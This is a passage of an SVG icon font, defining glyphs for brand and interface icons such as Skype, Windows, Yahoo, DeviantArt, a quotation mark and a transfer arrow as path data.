      horiz-adv-x="300" d="M289.354201371402 123.623755472049C289.354201371402 144.7061558129624 267.9463836051603 185.2322473172432 224.7239762910162 185.2322473172432C194.93665982257 185.2322473172432 182.81486072909 175.7718978809127 173.145314376477 168.519738116453C164.1498469763298 184.1397745322124 145.4383450199512 196.6334792546391 128.7955681245884 196.6334792546391C112.1527912292256 196.6334792546391 99.7985511176539 191.0548948204393 89.2922170999109 181.0134428388796C87.0840274280402 188.6723743849998 79.4599620346337 208.5693255336459 51.1254019292605 208.5693255336459C16.0732964010383 208.5693255336459 10.6341765776934 174.6678030449774 10.6341765776934 170.1468252430946S10.6341765776934 93.1507380002325 10.6341765776934 93.1507380002325H80.5524348196645V58.4472939991477L150.1452756363073 58.2845852864836V0C150.1452756363073 0 243.0170844148298 0 289.3658234223066 0C289.354201371402 0 289.354201371402 107.3063960020145 289.354201371402 123.623755472049zM175.3302599465386 255.6851199008252A44.3148800991748 44.3148800991748 0 0 1 263.9600201448883 255.6851199008252A44.3148800991748 44.3148800991748 0 0 1 175.3302599465386 255.6851199008252M93.9759036144578 255.6851199008252A32.6928291945919 32.6928291945919 0 0 1 159.3615620036416 255.6851199008252A32.6928291945919 32.6928291945919 0 0 1 93.9759036144578 255.6851199008252M24.2435981869601 249.8740944485337A26.8818037423004 26.8818037423004 0 0 1 78.0072056715608 249.8740944485337A26.8818037423004 26.8818037423004 0 0 1 24.2435981869601 249.8740944485337" />
    <glyph glyph-name="097-brand"
      unicode="&#xF161;"
      horiz-adv-x="300" d="M229.0976412045634 248.062015503876C215.1426704266403 278.9153341085272 184.2631346424633 299.1763565891473 149.9720471453761 299.1763565891473H41.3321427502196L0 51.1143410852713H68.4005484714144L60.1425959032599 1.5019379844961H153.4744117321964L165.8734490192788 75.9205426356589H213.1447786762803C255.7906862203274 75.9205426356589 291.8041983811869 106.4316860465116 298.7786568551707 148.4768651162791C302.789575705719 172.477592248062 296.8382803640864 196.3178294573643 282.0357183716768 215.5977472868217C268.9586087329571 232.6217294573643 249.9635021421791 244.1497093023256 229.0976412045634 248.062015503876zM72.5143894056632 75.9205426356589H29.2751685539336L62.3372495262082 274.3701550387597H149.9720471453761C176.3139467755309 274.3701550387597 199.864852560077 257.6489829457364 208.5708172177062 232.7579937984496C211.9793420156387 222.9893410852713 212.8723385046705 212.4273255813953 211.1438600109427 202.165092248062C206.1642655974013 172.1354170542636 180.4368692296527 150.3391472868217 149.9720471453761 150.3391472868217H84.9134266927456zM274.3226461467422 152.5708573643411V152.5526891472868C269.3369979032454 122.5230139534884 243.6156553654522 100.7267441860465 213.1447786762804 100.7267441860465H144.8653145533726L132.4662772662903 26.3081395348837H89.4086829373206L105.9245880736295 125.5329457364341H149.9720471453762C153.4017611230924 125.5329457364341 156.7618514066825 125.7994186046512 160.0916717655555 126.1839875968992C195.2848372715475 130.2446705426357 224.3783793027211 155.162911627907 233.6655488331822 189.3955906976744C234.4404886636249 192.2359496124031 235.1094794953892 195.1247581395349 235.5998714943111 198.0892682170543C235.6059253242665 198.1346899224806 235.6059253242665 198.1831395348837 235.611979154222 198.2255333333333C236.1962117169715 201.6987643410853 236.5564370725739 205.1962209302326 236.7047659806994 208.7088178294574C236.7108198106549 208.7996604651163 236.7229282455056 208.8874759689923 236.7229282455056 208.9813472868217C236.8591487187804 212.4606348837209 236.7713619849082 215.9399224806202 236.4928679833429 219.3980139534884C236.4807595484922 219.5675875968992 236.4807595484922 219.7341325581396 236.4625972836861 219.9006782945737C236.4504888488354 220.0127178294574 236.4504888488354 220.1247581395349 236.4444342439402 220.2428534883721C246.5670857790973 216.118580620155 255.5757613079931 209.3326062015504 262.3625394292615 200.4966085271318C272.9392568838487 186.7217782945737 277.1862906014548 169.7068798449612 274.3226461467422 152.5708573643411zM274.3226461467422 152.5708573643411" />
    <glyph glyph-name="098-skype"
      unicode="&#xF162;"
      horiz-adv-x="300" d="M288.00703125 120.75C292.620703125 142.6283203125 291.9849609375 165.460546875 286.13203125 187.0482421875C279.727734375 210.66796875 267.1453125 232.3494140625 249.7453125 249.7494140625C232.3453125 267.148828125 210.6638671875 279.7318359375 187.044140625 286.135546875C165.4564453125 291.9890625 142.62421875 292.6236328125 120.7447265625 288.010546875C106.421484375 296.9724609375 89.4333984375 301.12265625 72.45234375 299.738671875C53.8482421875 298.2216796875 36.324609375 290.1076171875 23.108203125 276.8912109375S1.7783203125 246.1517578125 0.261328125 227.54765625C-1.123828125 210.566015625 3.0263671875 193.5796875 11.989453125 179.2552734375C7.37578125 157.376953125 8.0115234375 134.54296875 13.864453125 112.955859375C20.2681640625 89.3361328125 32.8505859375 67.6541015625 50.2505859375 50.2546875C67.6505859375 32.8552734375 89.33203125 20.2728515625 112.951171875 13.8685546875C134.5388671875 8.014453125 157.3716796875 7.3798828125 179.25 11.99296875C191.769140625 4.158984375 206.3208984375 -0.0005859375 221.1263671875 0C223.2609375 0 225.4037109375 0.08671875 227.544140625 0.2607421875C246.1494140625 1.777734375 263.6748046875 9.891796875 276.8912109375 23.1087890625S298.2216796875 53.851171875 299.738671875 72.455859375C301.1232421875 89.4375 296.970703125 106.426171875 288.00703125 120.75zM263.8505859375 36.1494140625C243.012890625 15.3123046875 210.425390625 12.4716796875 186.366796875 29.39765625C184.7982421875 30.500390625 182.9431640625 31.076953125 181.060546875 31.076953125C180.3380859375 31.076953125 179.6115234375 30.9919921875 178.897265625 30.819140625C136.96640625 20.69765625 93.7494140625 32.8388671875 63.291796875 63.2958984375C32.8341796875 93.753515625 20.694140625 136.9705078125 30.8162109375 178.901953125C31.4384765625 181.480078125 30.919921875 184.2017578125 29.3947265625 186.371484375C12.472265625 210.4294921875 15.312890625 243.0146484375 36.1494140625 263.8505859375C56.9853515625 284.6865234375 89.569921875 287.52890625 113.628515625 270.6052734375C115.7982421875 269.080078125 118.51875 268.5609375 121.0974609375 269.1837890625C163.0294921875 279.3052734375 206.2453125 267.165234375 236.703515625 236.70703125C267.1611328125 206.25 279.3017578125 163.0330078125 269.1796875 121.102734375C268.557421875 118.524609375 269.0759765625 115.80234375 270.6017578125 113.6326171875C287.527734375 89.5740234375 284.68828125 56.987109375 263.8505859375 36.1494140625zM151.726171875 160.088671875C132.6814453125 166.53046875 111.0966796875 173.8330078125 111.0966796875 184.630078125C111.0966796875 198.403125 128.912109375 210.038671875 150.001171875 210.038671875C171.0896484375 210.038671875 188.9056640625 198.4025390625 188.9056640625 184.630078125C188.9056640625 179.5376953125 193.0341796875 175.40859375 198.1271484375 175.40859375S207.3486328125 179.537109375 207.3486328125 184.630078125C207.3486328125 196.9271484375 200.9806640625 208.280859375 189.4171875 216.6017578125C178.7712890625 224.2623046875 164.7732421875 228.48046875 150.001171875 228.48046875S121.2310546875 224.26171875 110.58515625 216.6017578125C99.0216796875 208.2814453125 92.6537109375 196.9271484375 92.6537109375 184.630078125C92.6537109375 173.4169921875 99.092578125 163.9552734375 111.7904296875 156.507421875C121.3740234375 150.8865234375 133.7994140625 146.68359375 145.8158203125 142.6189453125C166.9998046875 135.4529296875 188.9056640625 128.042578125 188.9056640625 115.37109375C188.9056640625 101.598046875 171.0896484375 89.9625 150.001171875 89.9625S111.0966796875 101.5986328125 111.0966796875 115.37109375C111.0966796875 120.4634765625 106.9681640625 124.592578125 101.8751953125 124.592578125S92.6537109375 120.4640625 92.6537109375 115.37109375C92.6537109375 103.0740234375 99.02109375 91.7203125 110.58515625 83.3994140625C121.2310546875 75.7388671875 135.2291015625 71.520703125 150.001171875 71.520703125C164.773828125 71.520703125 178.7712890625 75.739453125 189.4171875 83.3994140625C200.9806640625 91.7197265625 207.3486328125 103.0740234375 207.3486328125 115.37109375C207.34921875 141.2724609375 177.798046875 151.2685546875 151.726171875 160.088671875z" />
    <glyph glyph-name="099-windows"
      unicode="&#xF163;"
      horiz-adv-x="299.9999648437541" d="M288.1324431876044 0.0000351562459C287.5968594613056 0.0000351562459 287.0589870634 0.0366562457044 286.5211152514318 0.1121870962281L147.0359628473481 19.7388023743591C141.3711385111947 20.533022398474 137.1002036601324 25.449403658273 137.1002036601324 31.1691596286141V132.5203139624632C137.1002036601324 138.8855169274785 142.2797991468986 144.0651124142446 148.6450021119139 144.0651124142446H288.1644863479118C291.2475244631808 144.0651124142446 294.1474571311574 142.8634824769356 296.3287006255429 140.6822389825501C298.5076554483217 138.5009954881646 299.7092847996932 135.6033520777322 299.7092847996932 132.5180247049189L299.6749523818415 11.5425449364205C299.6726637102347 8.1985818517287 298.2261306766253 5.0217017552693 295.7015641755979 2.8290143169124C293.586696845309 0.993381914838 290.8950467701117 0.0000351562459 288.1324431876043 0.0000351562459zM154.6737486710451 36.4105533503258L282.1014073709289 18.4822413887998L282.1311618596295 126.4892781457877H154.6737486710451zM114.8437365417497 22.6959553481302C114.3218860169665 22.6959553481302 113.7977468205766 22.7325764375887 113.2736070382492 22.8035299448989L10.1005540897789 36.9461370766246C4.415129951352 37.7266238992238 0.1258851414979 42.6407164874161 0.1235964698911 48.3810716740932L0.11901854074 132.5203139624633C0.11901854074 135.6033520777323 1.3183592205048 138.5009954881647 3.4996027148903 140.6822389825502S8.5784902056457 144.0651124142447 11.6638169925215 144.0651124142447H114.8414478701429C121.2066508351582 144.0651124142447 126.3862463219243 138.8855169274785 126.3862463219243 132.5203139624633V34.2407537999117C126.3862463219243 30.9036573159777 124.9442906315285 27.7336438202762 122.4288794028657 25.5409563819192C120.3163007441835 23.6961687074803 117.6154953966217 22.698244019737 114.8437365417497 22.6959553481303zM115.6562671105937 40.2168579823994L115.6631337113516 40.2145687248552C115.6608444538073 40.2145687248552 115.6585557822005 40.2168579823994 115.6562671105937 40.2168579823994zM17.6994301524106 53.6430646121409L108.8127007250742 41.1552731068039V126.4892781457877H17.694852809197zM114.8048267806844 154.817979513518L11.5425097801747 154.8385787298541C5.1864615015866 154.8385787298541 0.0068664835704 160.0113082017998 0 166.3696445660573V249.595647703635C-0.0068664835703 255.3405814054006 4.2892448098542 260.2638292659575 9.9929800789477 261.0374494877989L113.2507191503064 275.0610380787846C116.5534838023262 275.5096464246508 119.8860029430466 274.5094330653008 122.3968362425583 272.3167450410064C124.90766954207 270.1240576026495 126.3473359749216 266.954044106948 126.3473359749216 263.6215249662276V166.3627779652995C126.3473359749216 159.9952863286774 121.1700297456997 154.817979513518 114.8048267806844 154.817979513518zM17.575834268457 172.4121243267042L108.7737909640089 172.3938137819749V256.7161609316999L17.575834268457 244.331366679918zM288.1301545159976 155.9509446151237H148.6450021119139C142.2797991468986 155.9509446151237 137.1002036601324 161.128251430283 137.1002036601324 167.4957430669051V268.1602513874705C137.1002036601324 273.8525421266552 141.3482500373145 278.7620567856965 146.9810312131604 279.5837426269051H146.9833198847673L286.4661836172442 299.88098145926C289.7849695564489 300.3616335513711 293.1449545142632 299.3820188224197 295.680964959262 297.187042712456C298.219264661805 294.9920660165548 299.6726637102348 291.8106091628192 299.6726637102348 288.4552015482186V167.4957430669051C299.6726637102348 161.128251430283 294.4953574810129 155.9509446151237 288.1301545159976 155.9509446151237zM154.6737486710451 173.5244902119738H282.0991186993221V281.4857506071386L154.6737486710451 262.9440348112459zM154.6737486710451 173.5244902119738" />
    <glyph glyph-name="100-yahoo-logo"
      unicode="&#xF164;"
      horiz-adv-x="300" d="M241.7217869136054 192.5002544011397C240.4599572606086 192.2458532614226 237.7734812251959 190.7805026966521 233.6114785794241 188.1347308435942L219.1513177979038 178.0400936196194L201.0888368779893 164.6992978528544C194.8000407041824 159.8860282894068 189.0505749465758 155.1236389539025 183.7793833316374 150.4324819375191C178.5081917166989 145.7209728299583 173.8679149282589 141.5996743665412 169.8789050574947 138.0177063193243C165.8593670499644 134.4357382721075 163.3051796072047 131.6882059631627 162.1756385468607 129.714053118958C161.9314134527323 128.7066246056783 161.7991248600794 125.8675078864353 161.7991248600794 121.1763508700519C161.7991248600794 116.4953698992572 161.8601811336115 111.3564668769716 162.0026457718531 105.8003459855501C162.1451104100947 100.2442250941285 162.2468708659815 94.9933855703674 162.3791594586344 90.0580034598555C162.521624096876 85.1226213493437 162.6742647807063 81.82558257861 162.9591940571894 80.2279434211866C163.9869746616465 79.9735422814695 166.5411621044063 79.8514297344052 170.7438689325329 79.8514297344052H183.8099114684034C188.4908924391982 79.8514297344052 192.9276483158645 79.7801974152844 197.0896509616363 79.6479088226316C201.2821817441743 79.50544418439 204.1009463722398 79.3222753637937 205.6375292561311 79.0373460873105L205.2610155693498 65.8288389131984C203.7549608222245 65.8288389131984 200.3663376411927 65.9000712323192 195.0646178894882 66.0221837793834C189.7832502289611 66.164648417625 183.6165666022184 66.2155286455684 176.5849191004376 66.2155286455684H155.0829347715478H134.8733082324209C132.0036633764119 66.2155286455684 127.7602523659306 66.164648417625 122.1328991553882 66.0221837793834C116.5564261727893 65.9000712323192 110.5830874122316 65.777958685255 104.1925307825379 65.6558461381907C97.8019741528442 65.5337335911265 91.7879312099318 65.4625012720057 86.0893456802686 65.4625012720057H73.3692886944134L75.6588989518673 77.95868525491H83.5860384654523C87.4020555612089 77.95868525491 91.2689528849089 78.0197415284421 95.2579627556732 78.1011498931516C99.2367965808487 78.1825582578611 103.0121094942506 78.5488958990537 106.5940775414674 79.1696346799634C110.2065737254503 79.8005495064619 112.8116413961535 80.9504426579832 114.4805128726977 82.568433906584C115.213188155083 83.3214612801466 115.7423425256946 85.885824768495 115.986567619823 90.2309962348632C116.2307927139514 94.5863437468201 116.3325531698382 99.5624300396867 116.3325531698382 105.1694311590516S116.403785488959 116.1188562124759 116.4851938536685 121.1865269156407C116.5564261727893 126.2847257555715 116.6785387198535 129.6937010277807 116.8210033580951 131.3829245955023C117.1364607713443 132.4310572911368 115.5693497506869 134.9852447338965 112.1603744784777 138.9946066958381C108.7208710695024 143.0344967945457 104.5385163325532 147.9902309962349 99.5522539940979 153.8618093009057L83.402869644856 172.9215426885113L66.6632746514705 192.6834232217361L51.3076218581459 208.3748855194871C46.6469929785285 213.0151623079272 42.9734405210135 216.1900885315966 40.348020759133 217.8793120993182H0V234.5374987279943H132.8991553882162V233.2756690749975H133.2756690749975L132.8991553882162 230.4162002645772V217.8894881449069H92.3272616261321L107.5608018723924 198.7992266205353L123.170855805434 179.2815711814389L137.030629897222 161.9822936806757L147.8375903124046 148.4176249109596L201.9436247074387 194.2301821512161H169.0444693192226L164.8315864455073 210.8680166887148H282.1105118550932L281.1743156609342 209.7791798107256H281.7645263050779L273.0538312811642 198.6669380278824H272.6162613208507L269.1360537295207 194.2301821512161H248.6720260506767C247.4203724432686 193.7112038261932 246.2094230182151 193.3652182761779 245.0086496387504 193.1820494555816C243.828228350463 192.9683524982192 242.7088633357078 192.7546555408568 241.7217869136054 192.5002544011397zM300 172.6162613208507C299.2367965808487 172.6162613208507 296.8963060954514 172.7485499135036 292.9988806349853 172.992775007632C289.0811030833418 173.2471761473491 284.7766357993284 173.5524575150097 280.054950646179 173.9493232929684C275.3129134018521 174.315660934161 270.8252772972424 174.671822529765 266.581866286761 175.0686883077236C262.328279230691 175.4350259489162 259.6621552864558 175.7301312709881 258.5427902717005 175.9947084562939V98.4634171161087L279.0169939961331 96.7741935483871L300 172.6162613208507zM279.7801974152844 84.562938841966L269.6245039177776 84.949628574336L258.5326142261117 86.0486414979139V66.6429225602931L267.4671822529765 65.9000712323191L276.7172076930905 65.5133814999491L279.7801974152844 84.562938841966z" />
    <glyph glyph-name="101-yahoo"
      unicode="&#xF165;"
      horiz-adv-x="300.0004901944765" d="M153.428910363038 71.8272162509273C153.428910363038 71.8272162509273 153.0039117519224 71.8272162509273 152.9941078623926 71.8272162509273H54.019431309048H53.179728170823C41.8057457328571 71.8272162509273 42.9562321691759 79.0914081980124 42.9562321691759 81.3203224826063V99.2521266270372C42.9562321691759 104.5834817533276 46.4498482031105 114.8162914500279 54.019431309048 114.8162914500279H76.5953379237323C77.6742559664838 114.8162914500279 78.6668997813733 114.9457027918209 79.4923872797801 115.1123689138271C79.5639556733475 120.3383322276724 79.7213081003003 128.1373263486067 79.8409155525636 134.0461305682008L79.9124839461309 137.5255309623171L28.6420632612312 197.0483756589031L9.1734994330084 199.2821918882618C3.364694886618 199.9071898457848 0 204.8856049490034 0 210.8610756173999V224.8169123630315C0 230.7595400015033 1.875974261522 238.9972581788949 9.2117346021745 238.9972581788949H98.8320299606864C101.2374142568162 238.9972581788949 103.4619167911216 238.0570651729896 105.0937742033523 236.3433452831854C108.1055290668985 233.1884536325045 107.9099414707795 228.831114930997 107.7761183786981 225.9477910202908C107.7663144891683 225.7281838948239 107.7570007941151 225.5227924091752 107.7471969045853 225.3227930627678C110.3486589913105 227.7664125280637 113.6560011241794 229.4467991934667 116.758441965876 229.4467991934667H205.486093182702C210.0919604837893 229.4467991934667 212.9409707811413 226.091418001902 214.311064342927 224.4781879797779C216.8164483122604 221.5330995650341 217.4463482145483 217.0708592455581 216.9836046287431 214.1497903601622L213.7811641138428 193.903287897752C213.0223430642383 189.0925193054925 209.3140218496018 185.4028254809625 204.345410635913 184.5008676442234L183.5214590801991 181.1837216218248L134.294168973304 136.6000437907066C133.9936797592164 128.1137970137353 134.055444263254 120.8255855373022 134.4755409296048 114.8167816445044H152.6078346149195C160.788200038562 114.8167816445044 167.0504344757043 103.9060329868203 167.0504344757043 99.2526168215137V81.3208126770828C167.0504344757043 77.3306296384652 163.7141708687227 73.9899542811952 159.986732069503 72.6100568298797C158.0347776641253 71.8894709494414 155.0896892493816 71.8272162509273 153.428910363038 71.8272162509273zM57.2743226329326 86.1551106042137H152.7318538174712V99.2521266270372C152.7318538174712 99.4285966385731 150.412253554727 99.9633988124222 150.1352936755109 100.487906902265H127.994189561472C124.414789494152 100.487906902265 121.3839170460227 103.1369178532096 120.9015656811579 106.6878866408933C119.7701968294221 115.0260946859651 119.5030408397358 126.3044892010157 120.1045094623874 140.2029731928981C120.1902934957729 142.1166924291097 121.0353887732393 143.9210982970644 122.4530311992445 145.2049176309882L175.4940343332211 193.2292704925801C176.5200113725119 194.1650517481969 177.7989287616707 194.7758340659018 179.1739242682213 194.9954411913687L199.9787582393522 198.3125872137673L202.6419848301149 215.1179244512273H117.8089287289911C117.6324587174552 214.9747876640926 119.321668883435 214.7983176525567 119.321668883435 214.6311613360741V200.1503263061232L140.680422612998 195.5871059244905C143.2436495305571 195.0621076401711 144.8039385492204 193.1866235731256 145.5774654331195 190.6807494093157C146.3505021225421 188.1797771902707 145.4534462305679 185.4591978457587 143.6299227780301 183.5788118339483L119.9564707304878 159.2754598841181C118.438828631279 157.7195826157431 116.2481495158513 156.9318400920259 114.0859016800599 157.1279178826213C111.9285557890334 157.3328191737936 109.9427779647779 158.5024231946955 108.7447426642397 160.3161427577034L79.8830722775416 204.002274502371C78.4369985719001 206.202267312852 78.2987637295303 209.0233365250441 79.5487596445763 211.3473485380767C80.7992457540989 213.666948800821 83.2095319949935 215.1179244512274 85.8443273061199 215.1179244512274H95.4570409900621V224.6683834366555H14.3185806582331V213.2468521344702L34.0165555014526 210.9846046254751C35.8155692301659 210.7890170293562 36.9660556664848 209.9154904722534 38.1498753272048 208.5409851601793L92.8036182888291 144.8044287436969C93.9585164754364 143.4681586007889 94.4457697850661 141.7544387109846 94.4119463661884 139.9936601514374L94.2256724651227 133.7510334933546C94.0634180934049 125.9142943977307 93.7962621037186 114.6927624419528 93.8060659932484 110.8364024954167C93.8060659932484 110.087385335342 93.6771448459319 109.3422897310793 93.4482240254117 108.6315077401708C90.8658795232695 100.5795732693684 77.1776889618008 100.488887291218 76.5953379237323 100.488887291218H56.13413028062C55.7713863680184 99.9305557824974 57.2748128274091 99.2531070159901 57.2748128274091 98.7805595406551V86.1551106042137zM105.9432812311071 190.5047695922562L115.7515825111683 175.6518769546505L123.9848889382715 184.15233937144L113.3461982150385 186.3189989575198C110.6780696795109 186.8773304662403 107.9383727504159 188.3572275907595 105.9432812311071 190.5047695922562zM100.4452599828105 198.8380756925631L103.7864255345571 193.773876555959C103.2658390005261 194.9861274963154 102.9653497864386 196.3130839441701 102.9653497864386 197.7351381204637V199.2150352449829C102.2398619612354 198.9669968398796 101.4712370221012 198.8380756925631 100.6883964431489 198.8331737477982C100.5212401266663 198.8380756925631 100.5212401266663 198.8380756925631 100.4452599828105 198.8380756925631zM260.0834637795301 105.9153401459472C259.5967006643769 105.9153401459472 258.1888621279016 105.9913202898029 257.6873931784537 106.0824964624299L234.8869774935376 109.8001313721197C230.0566011222186 110.5785602007836 224.3247571086369 114.6540370783102 224.3247571086369 121.3030349574021V242.7438145626975C224.3247571086369 247.3781131434211 226.8972977212493 249.9648693958517 228.6203313061069 251.2060418103209L228.5820961369407 251.5496681383395C231.6080666403051 254.1893653942308 236.1756987722262 254.3991686301679 237.5791255584132 254.3991686301679C238.2095156551776 254.3991686301679 238.6438279613466 254.3565217107134 239.1163754366816 254.2942670121993L290.0191502642149 247.5692889892517C293.2745317825759 247.1349766830828 296.1764830833887 245.3403747046579 298.0372613161395 242.638912944729C299.8750004084954 239.961470714148 300.4377436675044 236.6727559713858 299.6602952277934 233.3556099489871L271.6388181737969 114.8883500380718C270.4025477040925 109.6854258646214 265.5388381083722 105.9153401459472 260.0834637795301 105.9153401459472zM238.6438279613466 123.8706736252496L259.2530743363584 120.4961748491018L285.5373021656792 233.7659027258081L238.3761817771837 240.089901666988C238.3095153283813 240.0756860271699 238.6438279613465 240.046764553057 238.6438279613465 240.0041176336025V123.8706736252496zM260.2315025114297 45.6003411753556C259.6682690579443 45.6003411753556 259.0810160751109 45.6483802340515 258.4893513419891 45.7385760177255L226.7355335440081 50.5924817239159C220.3968287685335 51.5900274835703 216.1110584605933 57.3267734419169 216.9507615988183 63.6556743278617L220.6929062323326 91.3286231090748C221.4610409769903 97.0707612066628 226.4252404403908 101.4089823235872 232.2428684873579 101.4089823235872C232.5056127267559 101.4089823235872 233.2311005519591 101.3707471544211 233.4889428465921 101.3418256803083L264.2020777709878 97.9771307936903C270.4829395982366 97.2751723033585 275.107924483907 91.6050927938144 274.5304753906034 85.3335446616188L271.8290136306745 56.1762870055981C271.5138185822923 52.944925016585 269.8863729203501 49.9959150460293 267.3618713664335 48.0434704461751C265.3814856814194 46.4875931778001 262.832964598155 45.6003411753556 260.2315025114297 45.6003411753556zM231.4987532720482 64.3625347629583L257.8359221048297 60.3292146104098L260.0266012202575 84.0217842425352L234.5345276649423 86.813441786138L231.4987532720482 64.3625347629583z" />
    <glyph glyph-name="102-y"
      unicode="&#xF166;"
      horiz-adv-x="300" d="M224.5028619147863 297.8479096713583C219.6863202212982 299.5876754988779 214.3695958523983 297.0963308338698 212.6263504932236 292.2806590232955L150.2731432349206 115.9840985403365L87.733781033073 293.0226691487326C86.4611423302424 297.9870909375598 81.4062527183841 300.9794881608936 76.4418309295569 299.706849458063C71.4774091407297 298.4342107552324 68.4850119173959 293.3793211433741 69.7576506202265 288.4148993545469C69.8907427060318 287.8947093721186 70.0690687033525 287.3875676333966 70.2900189634475 286.8986934358636L140.4373771290384 88.1478453000226L113.1578489535309 11.8765114215627C111.4180831260112 7.0599697280746 113.9094277910193 1.7441152420884 118.7250996015936 0H121.8801649298005C125.7868090954958 0.0017397658276 129.2741696967588 2.4504601680614 130.6024809060701 6.1239757128691L230.2562675063936 286.8986934358636C231.4045129525566 291.4803667426364 228.9279562970824 296.1942622523009 224.5028619147863 297.8479096713583z" />
    <glyph glyph-name="103-right-quotation-sign"
      unicode="&#xF167;"
      horiz-adv-x="300" d="M293.7194548158942 173.7121695049024C277.7858725677686 230.6954436450839 238.4785842212306 272.0608323467808 200.2701636159427 272.0608323467808C197.2012263606836 272.0608323467808 194.1353246516711 271.7937042770847 191.1483471450688 271.2655192301855C189.4545123394955 270.9680356980239 187.9731657711805 269.9723765291564 187.0564308047233 268.5274565158C186.1427313845127 267.073429863704 185.8847099535561 265.3067419482136 186.3491485292779 263.655404790092L194.2142488540813 235.5219621770938C194.9731354157181 232.8051482864342 197.5928118264882 230.9686428072732 200.3156968096409 231.0931002033816L200.9410193364296 231.1052423883678C215.1109492153113 231.1052423883678 241.0071942446044 209.8685608475245 254.2087848708375 162.6688522599642C254.7308988252437 160.7959202258447 255.2256928634308 158.8804905442735 255.7022736241387 156.8831011140455C240.8827368484959 164.2169808457032 223.2037155086058 165.913851197523 207.1942446043166 161.4546337613454C171.0773153628996 151.3493003065902 149.9195580244665 113.7510244968582 160.0157848404821 77.6401663479343C168.199617521173 48.3805360774672 195.1158060893058 27.9391676532192 225.4712685547765 27.9391676532192C231.6546762589929 27.9391676532192 237.8289773244696 28.7921561484989 243.8241811614001 30.4708132228394C267.6410770118083 37.1277661415172 285.5477643201895 56.9013143915247 294.2476398627934 86.1366602920195C302.1005980026106 112.512521628267 301.9032874965851 144.4312904107094 293.7194548158942 173.7121695049024zM42.7647755213551 272.0547612542877C39.7019093585891 272.0547612542877 36.63297210333 271.7937042770847 33.6490301429742 271.2655192301855C31.9582308836475 270.974106790517 30.473848769086 269.9723765291564 29.5601493488753 268.5274565158C28.6464499286647 267.073429863704 28.3884284977082 265.3067419482136 28.8498315271833 263.655404790092L36.7179673982333 235.5219621770938C37.4768539598701 232.8051482864342 40.0479616306955 230.9686428072732 42.8194153537929 231.0931002033816L43.4386667880885 231.1052423883678C57.6085966669702 231.1052423883678 83.5078772425098 209.8685608475245 96.709467868743 162.6688522599642C97.2346173693956 160.7837780408584 97.7294114075828 158.8683483592873 98.2029566220441 156.8831011140455C83.3773487539083 164.2169808457032 65.7043985065113 165.913851197523 49.694927602222 161.4546337613454C13.5840694532981 151.3493003065902 -7.579758977628 113.7510244968582 2.5225389308806 77.6401663479343C10.7063716115715 48.3805360774672 37.6225601797043 27.9391676532192 67.978022645175 27.9391676532192C74.1614303493914 27.9391676532192 80.3357314148681 28.7921561484989 86.3339707980451 30.4708132228394C110.1478311022069 37.1277661415172 128.054518410588 56.9013143915247 136.7574294994385 86.1366602920195C144.6073520930092 112.512521628267 144.4130771332301 144.4343259569559 136.2262089062927 173.7182405973955C120.2835200194275 230.6954436450839 80.9823027653826 272.0547612542877 42.7647755213551 272.0547612542877z" />
    <glyph glyph-name="104-deviantart-1"
      unicode="&#xF168;"
      horiz-adv-x="300" d="M244.9927734375 244.9998046875L245.0080078125 294.999609375C245.0080078125 296.3244140625 244.473046875 297.5994140625 243.533203125 298.5345703125C242.598046875 299.4744140625 241.318359375 299.9994140625 239.99296875 299.9994140625H184.9927734375C183.21796875 299.9994140625 181.57265625 299.0595703125 180.6779296875 297.5296875L152.7580078125001 252.884765625L146.572265625 244.9998046875H59.9923828125C57.2326171875 244.9998046875 54.992578125 242.7650390625 54.992578125 240V164.9701171875C54.992578125 162.205078125 57.2326171875 159.9703125 59.9923828125 159.9703125H107.8423828125L108.8724609375 158.88515625L55.592578125 60.2349609375C55.20234375 59.5001953125 54.992578125 58.68515625 54.992578125 57.8548828125V4.9998046875C54.992578125 2.234765625 57.2478515625 0 60.0076171875 0H114.992578125C116.7626953125 0 118.402734375 0.93515625 119.302734375 2.459765625L149.09296875 54.9796875L152.598046875 59.9994140625H239.9232421875C242.68828125 59.9994140625 244.9230468750001 62.2341796875 244.9230468750001 64.99921875V135C244.9230468750001 137.7650390625 242.68828125 139.9998046875 239.9232421875 139.9998046875H192.0632812500001L191.1281250000001 140.9349609375L244.4232421875 242.680078125C244.79765625 243.394921875 244.9927734375 244.1900390625 244.9927734375 244.9998046875z" />
    <glyph glyph-name="105-transfer"
      unicode="&#xF169;"
      horiz-adv-x="300" d="M296.863509947495 189.7193523612614L221.8620973969309 264.7207649118255C217.6771809257543 268.9044257825007 210.8931714166732 268.9031701819993 206.7095105459979 264.7182537108227C204.7011775440036 262.7092929085777 203.5730204934928 259.9858954210343 203.5723926932421 257.1450992866097V225.0017264506894H128.5709801426781C122.6533349795651 225.0017264506894 117.8563132639544 220.2047047350787 117.8563132639544 214.2870595719658C117.8563132639544 208.3694144088528 122.6533349795651 203.5723926932421 128.5709801426781 203.5723926932421H214.2870595719658C220.2047047350787 203.5723926932421 225.0017264506894 208.3694144088528 225.0017264506894 214.2870595719658V231.2809845582065L274.1383964725996 182.1443145362963L225.0017264506894 133.0076445143861V150.0009417003761C225.0017264506894 155.918586863489 220.2047047350787 160.7156085790997 214.2870595719657 160.7156085790997H96.4276073067579V192.85898141502C96.4263517062564 198.7766265781329 91.6280743901444 203.5723926932422 85.7110570272821 203.5711370927408C82.8708886931082 203.5705092924901 80.1468634053141 202.4423522419794 78.1379026030691 200.4340192399851L3.1371178527557 125.4326066894209C-1.0459152176688 121.248318018495 -1.0459152176688 114.466191910166 3.1371178527557 110.2825310394907L78.1385304033198 35.2811184889267C80.1474912055648 33.2715298864309 82.8721442936096 32.1421172354188 85.7135682282849 32.1414894351681C87.1217241906085 32.1370948334132 88.5173241479181 32.4139547439726 89.8168706668703 32.9557463603281C93.8197250653436 34.615650223183 96.4288629072593 38.5224511832989 96.4276073067579 42.8561563138918V74.999529149812H171.4290198573219C177.3466650204349 74.999529149812 182.1436867360456 79.7965508654227 182.1436867360456 85.7141960285356S177.3466650204349 96.4288629072593 171.4290198573219 96.4288629072593H85.7135682282849C79.7959230651719 96.4288629072593 74.9989013495613 91.6318411916486 74.9989013495613 85.7141960285356V68.7208988425456L25.862231327651 117.8575688644559L74.9989013495613 166.9942388863661V150.0009417003761C74.9989013495613 144.0832965372631 79.7959230651719 139.2862748216525 85.7135682282849 139.2862748216525H203.5723926932422V107.1429019857322C203.5736482937436 101.2252568226193 208.3719256098556 96.42949070751 214.2889429727179 96.4307463080114C217.1291113068918 96.4313741082621 219.8531365946859 97.5595311587728 221.8620973969309 99.5678641607672L296.863509947495 174.5692767113312C301.0459152176688 178.7535653822571 301.0459152176688 185.5356914905862 296.863509947495 189.7193523612614z" />
